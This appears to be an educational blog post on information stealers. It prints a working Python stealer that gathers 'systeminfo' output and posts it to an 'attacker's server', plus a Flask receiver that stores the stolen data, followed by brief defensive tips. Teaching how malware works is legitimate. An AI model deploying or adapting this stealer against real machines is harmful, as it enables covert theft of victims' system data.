Understanding Information Stealers: How They Work and How to Defend Against Them
Disclaimer: This blog post is for educational purposes only. Unauthorized use of this information to steal data or harm others is illegal and unethical. Always use cybersecurity tools responsibly and within legal boundaries.
Introduction
In the realm of cybersecurity, understanding how malicious software operates is crucial for developing robust defences. One such threat is the information stealer, a type of malware designed to collect sensitive data from a victim’s device and send it to an attacker. In this blog post, we’ll break down how a simple information stealer works using a Python script and a Flask server.
How Information Stealers Operate
Information stealers typically follow a straightforward workflow. The diagram below illustrates the process:
- Target Execution: The target runs the stealer executable file (STEALER.EXE).
- Program Execution: The information stealer program executes on the target’s machine.
- Data Collection: The stealer gathers system information, such as clipboard data and system details.
- Data Transmission: The collected information is sent to the attacker’s server via an HTTP POST request.
On the attacker’s side:
- Server Listening: The server awaits client requests.
- Data Storage: When the stealer transmits data to the server, it is stored in a database.
Detailed Breakdown
Target Side: The Stealer
The following Python script represents the information stealer that runs on the target’s machine. This version includes system information collection using os.popen() and a recursive retry mechanism to ensure data transmission:
import requests
import os
import time
# URL of the attacker's server
url = "http://localhost:3000"
# Collect system information
data = {
"info": os.popen("systeminfo").read()
}
def main():
try:
# Send collected data to the server
response = requests.post(url=url, json=data)
if response.status_code != 200:
raise "Not ok."
except:
# Retry after a delay in case of failure
time.sleep(3)
main()
if __name__ == "__main__":
main()Hacker Side: The Server
The Flask server listens for incoming POST requests and stores the received data. Here’s an example of a simple Flask server to handle these requests:
from flask import Flask, request
app = Flask(__name__)
# Define the route to handle POST requests at the root URL
@app.post("/")
def root():
# Extract the 'info' field from the JSON data in the request
data = request.json['info']
# Open a file named "target_information.txt" in write mode
with open("target_information.txt", "w") as file:
# Write the extracted data to the file
file.write(data)
# Return a response indicating the operation was successful
return "OK"
# Run the Flask app on port 3000
if __name__ == "__main__":
app.run(port=3000)Ethical Usage and Mitigation
Understanding how information stealers work can help you develop strategies to protect against them. Here are some defensive measures:
- Input Validation and Sanitization: Ensure that all input data is validated and sanitized to prevent malicious payloads. (mostly for web)
- Network Monitoring: Use security tools to monitor network traffic and block unauthorized data transmissions.
- User Education: Educate users about the risks of running untrusted scripts and the importance of keeping their systems secure.
- Security Software: Implement and regularly update security software to detect and block malicious activities.
Conclusion
Information stealers are a significant threat in the cybersecurity landscape. By understanding how they operate, you can better defend against them and educate others on best practices for security. Remember, always use your cybersecurity skills ethically and legally.
